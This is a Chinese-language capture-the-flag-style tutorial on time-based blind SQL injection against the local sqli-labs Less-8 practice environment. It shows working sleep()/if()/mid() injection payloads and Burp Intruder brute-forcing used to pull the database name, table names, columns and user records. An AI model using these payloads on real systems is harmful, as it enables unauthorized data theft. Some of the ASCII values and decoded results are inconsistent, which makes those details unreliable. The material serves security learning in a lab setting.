SQL盲注:基于时间延迟注入
靶场环境搭建
所需软件
Phpstudy2016,sql注入靶场文件 Phpstduy 官网下载地址:https://www.xp.cn/
sql注入靶场下载地址:https://github.com/Audi-1/sqli-labs
下载安装 phpstudy,下载sql注入靶场文件压缩包,
解压文件靶场环境文件,放到 phpstudy 文件目录下的 WWW 文件夹下,
然后运行 phpstudy
然后访问,http://localhost/,或者 http://127.0.0.1
点击 Setup/reset Database for labs 选项安装靶场数据库等文件
出现这个就说明安装完成
返回访问 http://127.0.0.1 主页就行
对照 ascii 表
控制字符 | ASCII 值 | 控制字符 | ASCII 值 | 控制字符 | ASCII 值 | 控制字符 |
---|---|---|---|---|---|---|
NUT | 32 | (space) | 64 | @ | 96 | 、 |
SOH | 33 | ! | 65 | A | 97 | a |
STX | 34 | “ | 66 | B | 98 | b |
ETX | 35 | # | 67 | C | 99 | c |
EOT | 36 | $ | 68 | D | 100 | d |
ENQ | 37 | % | 69 | E | 101 | e |
ACK | 38 | & | 70 | F | 102 | f |
BEL | 39 | , | 71 | G | 103 | g |
BS | 40 | ( | 72 | H | 104 | h |
HT | 41 | ) | 73 | I | 105 | i |
LF | 42 | * | 74 | J | 106 | j |
VT | 43 | + | 75 | K | 107 | k |
FF | 44 | , | 76 | L | 108 | l |
CR | 45 | - | 77 | M | 109 | m |
SO | 46 | . | 78 | N | 110 | n |
SI | 47 | / | 79 | O | 111 | o |
DLE | 48 | 0 | 80 | P | 112 | p |
DCI | 49 | 1 | 81 | Q | 113 | q |
DC2 | 50 | 2 | 82 | R | 114 | r |
DC3 | 51 | 3 | 83 | S | 115 | s |
DC4 | 52 | 4 | 84 | T | 116 | t |
NAK | 53 | 5 | 85 | U | 117 | u |
SYN | 54 | 6 | 86 | V | 118 | v |
TB | 55 | 7 | 87 | W | 119 | w |
CAN | 56 | 8 | 88 | X | 120 | x |
EM | 57 | 9 | 89 | Y | 121 | y |
SUB | 58 | : | 90 | Z | 122 | z |
ESC | 59 | ; | 91 | [ | 123 | { |
FS | 60 | < | 92 | / | 124 | | |
GS | 61 | = | 93 | ] | 125 | } |
RS | 62 | > | 94 | ^ | 126 | ` |
US | 63 | ? | 95 | _ | 127 | DEL |
本次 sql 延时注入选择的是第八关(图中所示)。
SQL 注入工具采用的基本都为盲注及其它注入。这里以 Mysql 盲注为示例:
何为延时注入?
所谓延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。
这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();
sleep() //延时
if(条件,True,False) //判断语句
mid(str,1,1) 截取 //指定字符串截取,截取字符开始长度-结束长度
ascii //转换为 ascii 编码
猜库名
这里先猜解一下 database()当前数据库名字,
构造语句
‘ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+
该语法意思是,mid 函数方法截取
database()当前库库名第一个字符,判断第一个字符是否为 1,
- 对应的是 ascii 字符,如果第一个字符=其中的一个 ascii 字符,那么就延时 5
秒,如果不等于则延时 1 秒,我们这里可以用快捷方法,直接上 burpsuite
爆破即可访问该地址,然后抓包
http://127.0.0.1/Less-8/?id=1’ and
if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+
右 键
选择 Send to intrude 发送到爆破猜解模块中
发送完成后,我们选择爆破这俩个参数
接下来选择 payload 模块
第一个参数选择这个快捷模块 Numbers
第二个模块亦是如此,不过这里填写的是所有 ascii 字符对应的十进制位数
1-127
填写完成后点击右边的 Start attack 按钮 ,开始爆破
爆破出来得到 database()库名,对应的 ascii 字符我们来拼接一下
1-115 ,2-101,3-99,4-117,5-114,6-105,7-116,8-121 对应 ascii
表最终得到库名为 security
http://127.0.0.1/Less-8/?id=1’ and
if(ascii(mid(database(),1,1)) =1,sleep(5),1) –+
判断表名长度
构造语句
’ and if(length(mid((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=4,1,sleep(5)) –+
存在延时,说明表名长度不等于 4.。
’ and if(length(mid((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1))=6,1,sleep(5)) –+
存在延时,说明表名长度是 6。
猜表名
构造语句
http://127.0.0.1/Less-8/index.php?id=1‘ and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))>113,sleep(10),1);–+
符合条件说明,第一个ascii大于113
http://127.0.0.1/Less-8/index.php?id=1‘ and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))>115,sleep(10),1);–+
不符合条件,第一个ascii不大于115
http://127.0.0.1/Less-8/index.php?id=1‘ and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))=114,sleep(10),1);–+
符合条件,说明第一个ascii码=115
这样写太麻烦,还得一个一个猜解,这里我们直接上burpsuite爆破猜解访问poc抓包
http://127.0.0.1/Less-8/index.php?id=1‘and if(ascii(mid((select table_name from
information_schema.tables where table_schema=database() limit
1,1),1,1))=113,sleep(10),1);–+
然后还像爆破猜解库名一样猜解表名
选 择 这 俩 个 参 数
然后导入字典开始爆破
最终得到表名对应的 ascii 码
1114,101,102,101,114,101,114,115
最终得到表名为 referers
如果觉得麻烦也可以同时猜解三个表名
117 97 103 101 110 116 115 uagents
再对应 ascii 码表查看一下就可以得到所有表名了。
猜列名
只需要将select语句里的
table_name 改为 column_name 以及 information_schemation.tables 改为
information_schemation.columns
就可以了。
我们来猜解一下列名
构造语句
http://127.0.0.1/Less-8/index.php?id=1‘and if(ascii(mid((select column_name from
information_ schema.columns where table_schema=database() limit
1,1),1,1))>113,sleep(10),1); –+
猜字段内容
构造语句
‘ and if(ascii(mid((select username from security.users order by id limit
0,1),2,1))=117,sleep(10),1);–+
直接上 burp 爆破
同时爆破列名每一位对应的 ascii 码。
对应 ascii 码得到 email_id
爆破 users 表
爆破出来的结果
1 | 0 200 false false 926 |
46422 | 2 | 2 | 117 200 false false 926 1 |
---|---|---|---|
48082 | 2 | 5 | 121 200 false false 926 1 |
40103 | 3 | 6 | 101 200 false false 926 1 |
45603 | 3 | 1 | 115 200 false false 926 1 |
46463 | 3 | 4 | 117 200 false false 926 1 |
41684 | 4 | 5 | 105 200 false false 926 1 |
45604 | 4 | 1 | 115 200 false false 926 1 |
46024 | 4 | 2 | 116 200 false false 926 1 |
46444 | 4 | 3 | 117 200 false false 926 1 |
38525 | 5 | 7 | 97 200 false false 926 1 |
43305 | 5 | 6 | 109 200 false false 926 1 |
45605 | 5 | 1 | 115 200 false false 926 1 |
46425 | 5 | 2 | 117 200 false false 926 1 |
38426 | 6 | 2 | 97 200 false false 926 1 |
38486 | 6 | 5 | 97 200 false false 926 1 |
43266 | 6 | 4 | 109 200 false false 926 1 |
43706 | 6 | 6 | 110 200 false false 926 1 |
39627 | 7 | 2 | 100 200 false false 926 1 |
41667 | 7 | 4 | 105 200 false false 926 1 |
43687 | 7 | 5 | 110 200 false false 926 1 |
39628 | 8 | 2 | 100 200 false false 926 1 |
43248 | 8 | 3 | 109 200 false false 926 1 |
43688 | 8 | 5 | 110 200 false false 926 1 |
38409 | 9 | 1 | 97 200 false false 926 1 |
39629 | 9 | 2 | 100 200 false false 926 1 |
41669 | 9 | 4 105 200 false false 926 1 | |
43249 | 9 | 3 109 200 false false 926 1 | |
43689 | 9 | 5 110 200 false false 926 1 |
对应 ascii 码可以得到具体的内容信息。
XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way